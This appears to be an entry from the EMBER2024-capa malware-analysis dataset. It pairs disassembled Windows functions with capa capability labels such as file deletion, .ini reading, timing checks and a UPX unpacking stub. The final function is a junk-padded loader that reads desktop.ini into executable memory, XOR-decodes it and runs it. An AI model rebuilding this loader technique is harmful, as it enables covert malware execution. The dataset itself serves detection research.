joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10194bf0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101ac840
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x10216574]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 4], 0
cmp dword [0x5fe9d4], 0
jne 0x10194cfd
mov eax, dword [edi + 0x128]
mov byte [0x10221814], 0
push 0
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x12c]
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x130]
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x134]
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x138]
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x13c]
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x140]
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x144]
mov byte [eax + 0xa8], 0
mov eax, dword [edi + 0x144]
mov byte [eax + 0xb0], 0
mov eax, dword [edi + 0x144]
mov byte [eax + 0xb1], 0
mov eax, dword [edi + 0x144]
mov byte [eax + 0xb2], 0
mov eax, dword [edi + 0x144]
mov byte [eax + 0xb3], 0
call fcn.1001c178
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1015b166
mov esp, ebp
pop ebp
ret
mov eax, 0x5fe9d4
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x11c], eax
mov esi, dword [ebp - 0x11c]
test esi, esi
je 0x10194ce1
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10194d20
sub ecx, edx
je 0x10194ce1
mov ecx, 0x10221710
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10194d33
sub ecx, edx
jne 0x10194d54
mov ecx, 0x10221710
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [esi + ecx - 1], al
test al, al
jne 0x10194d45
jmp 0x10194ce1
push esi
push 0x10221710
call fcn.10168390
add esp, 8
cmp byte [0x10221814], 0
jne 0x10194ce1
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.1015d520
push 0x10221710
lea eax, [ebp - 0x118]
push 0x101f2b2c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [edi + 0x128]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
mov ecx, dword [edi + 0x12c]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
mov ecx, dword [edi + 0x130]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
mov ecx, dword [edi + 0x134]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
mov ecx, dword [edi + 0x138]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
mov ecx, dword [edi + 0x13c]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
mov ecx, dword [edi + 0x140]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
cmp byte [0x10221554], 0
je 0x10194e4a
mov ecx, dword [edi + 0x144]
push 0x10221710
mov eax, dword [ecx]
call dword [eax + 0x19c]
push 0x104
push 0
push 0x10221710
call fcn.1015d520
mov ecx, 0x10221710
add esp, 0xc
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x10194e65
mov byte [0x10221814], 1
jmp 0x10194ce1
Function at 0x10196890
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2094
call fcn.1015bb40
mov eax, dword [0x10216574]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x101f2b40
push edx
lea eax, [ebp - 0x2094]
mov ebx, ecx
push eax
call fcn.1016756f
add esp, 0xc
test eax, eax
je 0x101968d8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1015b166
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2090]
push eax
call dword [sym.imp.ADVAPI32.dll_MD5Init]
push 0
push 0
push dword [ebp - 0x2094]
call fcn.10168752
add esp, 0xc
push dword [ebp - 0x2094]
call fcn.1016982b
add esp, 4
test eax, eax
jne 0x10196960
mov edi, dword [sym.imp.ADVAPI32.dll_MD5Update]
nop
push dword [ebp - 0x2094]
lea eax, [ebp - 0x2028]
push 0x2000
push 1
push eax
call fcn.10168fba
push dword [ebp - 0x2094]
mov esi, eax
call fcn.10169857
add esp, 0x14
test eax, eax
jne 0x10196960
push esi
lea eax, [ebp - 0x2028]
push eax
lea eax, [ebp - 0x2090]
push eax
call edi
push dword [ebp - 0x2094]
call fcn.1016982b
add esp, 4
test eax, eax
je 0x10196910
push dword [ebp - 0x2094]
call fcn.10167d3d
add esp, 4
lea eax, [ebp - 0x2090]
push eax
call dword [sym.imp.ADVAPI32.dll_MD5Final]
xor esi, esi
nop dword [eax]
movzx eax, byte [ebp + esi - 0x2038]
push eax
lea eax, [ebp - 0x24]
push str._02x
push eax
call fcn.10012090
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push 0x21
push ebx
call fcn.101697c8
inc esi
add esp, 0xc
cmp esi, 0x10
jl 0x10196980
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1015b166
mov esp, ebp
pop ebp
ret
Function at 0x10196cb0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
mov eax, dword [0x10216574]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push esi
push edi
push 0
mov edi, ecx
push 0
push 0x184
push dword [edi + 0xd0]
call ebx
push 0x104
lea eax, [ebp - 0x1f0]
push 0
push eax
call fcn.1015d520
add esp, 0xc
mov eax, 0x5fe9d4
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x1f4], eax
push dword [ebp - 0x1f4]
lea eax, [ebp - 0x1f0]
push 0x101f2b68
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x1f0]
push eax
push 0
push 0x101f2b7c
push 0x101f2b84
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x3e9
mov ecx, edi
mov esi, eax
call fcn.1001b626
push 0
push esi
push 0xf1
push dword [eax + 0x20]
call ebx
push 0x63
lea eax, [ebp - 0xec]
push 0
push eax
call fcn.1015d520
add esp, 0xc
lea eax, [ebp - 0x1f0]
push eax
push 0x63
lea eax, [ebp - 0xec]
push eax
push 0x101ef8c7
push 0x101f2b8c
push 0x101f2b94
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
lea ecx, [ebp - 0xec]
mov edx, 0x101f2b9c
cmove ecx, edx
push ecx
push 0x3ea
mov ecx, edi
call fcn.1001c011
push 0x64
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x88]
movq qword [ebp - 0x14], xmm0
push 0
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 8], 0
call fcn.1015d520
push 0
lea eax, [ebp - 0x24]
push 0x101f2ba4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x1f0]
mov esi, 1
push eax
push 0x63
lea eax, [ebp - 0x88]
push eax
push 0x101ef8d2
lea eax, [ebp - 0x24]
push eax
push 0x101f2bac
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x10196e8e
lea eax, [ebp - 0x88]
push eax
push 0
push 0x180
push dword [edi + 0xd0]
call ebx
push 0x64
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x88]
movq qword [ebp - 0x14], xmm0
push 0
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 8], 0
call fcn.1015d520
push esi
lea eax, [ebp - 0x24]
push 0x101f2ba4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x1f0]
inc esi
push eax
push 0x63
lea eax, [ebp - 0x88]
push eax
push 0x101ef8d2
lea eax, [ebp - 0x24]
push eax
push 0x101f2bac
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x10196e13
push 0x3e9
mov ecx, edi
call fcn.1001bc43
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
mov byte [edi + 0xa8], al
pop edi
pop esi
pop ebx
call fcn.1015b166
mov esp, ebp
pop ebp
ret
Function at 0x101970e0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x10216574]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
cmp byte [edi + 0xa8], 0
je 0x101971f8
cmp dword [0x5fe9d4], 0
je 0x101971f8
push 0x3e9
call fcn.1001bc43
test eax, eax
je 0x101971f8
mov eax, dword [0x10221878]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x10197141
or eax, 1
mov dword [0x10221878], eax
call esi
mov dword [0x1022187c], eax
push ebx
push 1
push 0
push 0x3ea
mov ecx, edi
call fcn.1001b69c
mov dword [edi + 0x130], eax
call esi
mov ebx, eax
mov ecx, ebx
sub ecx, dword [0x1022187c]
cmp ecx, dword [edi + 0x130]
jbe 0x101971f6
push 0
push 0
push 0x18b
push dword [edi + 0xd0]
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, eax
test ecx, ecx
jle 0x101971f6
mov eax, dword [0x10221818]
xor edx, edx
div ecx
push 0xc8
lea eax, [ebp - 0xcc]
mov esi, edx
push 0
push eax
mov dword [0x10221818], esi
call fcn.1015d520
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
push esi
push 0x189
push dword [edi + 0xd0]
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [ebp - 0xcc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x101971d4
sub ecx, edx
je 0x101971f6
lea ecx, [ebp - 0xcc]
call fcn.10189fc0
inc dword [0x10221818]
mov dword [0x1022187c], ebx
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1015b166
mov esp, ebp
pop ebp
ret
Function at 0x1019a4e0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x10216574]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push esi
push edi
push 0
mov edi, ecx
push 0
push 0x184
push dword [edi + 0x160]
call ebx
push 0x104
lea eax, [ebp - 0x18c]
push 0
push eax
call fcn.1015d520
add esp, 0xc
mov eax, 0x5fe9d4
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x190], eax
push dword [ebp - 0x190]
lea eax, [ebp - 0x18c]
push 0x101f2dc4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x101f2dd0
push 0x101f2dd8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x3e9
mov ecx, edi
mov esi, eax
call fcn.1001b626
push 0
push esi
push 0xf1
push dword [eax + 0x20]
call ebx
push 0x64
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x88]
movq qword [ebp - 0x14], xmm0
push 0
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 8], 0
call fcn.1015d520
push 0
lea eax, [ebp - 0x24]
push 0x101f2de0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x18c]
mov esi, 1
push eax
push 0x63
lea eax, [ebp - 0x88]
push eax
push 0x101ef907
lea eax, [ebp - 0x24]
push eax
push 0x101f2de8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x1019a66b
nop
lea eax, [ebp - 0x88]
push eax
push 0
push 0x180
push dword [edi + 0x160]
call ebx
push 0x64
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x88]
movq qword [ebp - 0x14], xmm0
push 0
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 8], 0
call fcn.1015d520
push esi
lea eax, [ebp - 0x24]
push 0x101f2de0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x18c]
inc esi
push eax
push 0x63
lea eax, [ebp - 0x88]
push eax
push 0x101ef907
lea eax, [ebp - 0x24]
push eax
push 0x101f2de8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x1019a5f0
push 0x3e9
mov ecx, edi
call fcn.1001bc43
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
mov byte [edi + 0xa8], al
pop edi
pop esi
pop ebx
call fcn.1015b166
mov esp, ebp
pop ebp
ret
Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc

Function at 0x1001cf62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x100269c0], al
je 0x1001cf99
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cffd
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10014b0a
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10014b0a
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.10014b0a
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ddeb
leave
ret 0x10

Function at 0x1001d00e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d03a
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d06b
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d069
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10014b0a
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d06b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ddeb
leave
ret 8
Function at 0x1001d106
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
mov eax, dword [ebp + 8]
je 0x1001d12e
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001d148
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10014b0a
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1001ddeb
leave
ret 4

Function at 0x1001ddeb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100268b0]
jne 0x1001ddf5
repz ret
jmp fcn.1001e62c

Function at 0x50b580
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8000]
push edi
jmp 0x50b59a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50b5a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50b590
mov eax, 1
add ebx, ebx
jne 0x50b5b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50b5a8
jne 0x50b5c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50b5a8
xor ecx, ecx
sub eax, 3
jb 0x50b5d8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50b64a
mov ebp, eax
add ebx, ebx
jne 0x50b5e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50b5f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50b614
inc ecx
add ebx, ebx
jne 0x50b600
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50b5f5
jne 0x50b611
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50b5f5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50b634
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50b625
jmp 0x50b596
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50b634
add edi, ecx
jmp 0x50b596
pop esi
mov edi, esi
mov ecx, 0x1d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50b652
cmp byte [edi], 6
jne 0x50b652
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x50b657
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x50b6c6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xdacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xdb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50b684
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xdb2c]
or eax, eax
je 0x50b6c0
mov dword [ebx], eax
add ebx, 4
jmp 0x50b6a1
call dword [esi + 0xdb28]
mov ebp, dword [esi + 0xdb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50b6fa
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401260
Capabilities:
Hide graphical window

Disassembly:
push ebp
push esp
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov esi, dword [esp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4030f4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x403100], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x40128d
push esp
mov dword [ebp - 0x24], 0x401330
mov eax, dword [0x4030f4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.wookernof
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4030f4]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.tofkol
push str.wookernof
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403104], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40132c
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x40130d
pop ebp
ret 0x10
Function at 0x40171b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40175a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40175a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40175a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40175a
cmp dword [ecx + 0x74], 0xe
jbe 0x40175a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407746
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155f8
push 0x4155f0
push str.FlsAlloc
push 0x1f
call fcn.00407605
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40777a
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
jmp 0x407780
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4077c4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415608
push 0x415600
push str.FlsGetValue
push 0x21
call fcn.00407605
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4077fb
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407803
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415610
push 0x415608
push str.FlsSetValue
push 0x22
call fcn.00407605
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40783d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414110]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40ad88
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40ae25
push ebx
push esi
call fcn.0040ad51
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040ace5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40add2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40ae24
push edi
push eax
call fcn.00407ef5
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40adf2
call fcn.00407498
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40ae23
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040ace5
add esp, 0x20
test eax, eax
jne 0x40ae11
push edi
call fcn.00407498
jmp 0x40ae19
push ebx
call fcn.00407498
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x412ee0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412f0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412f0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
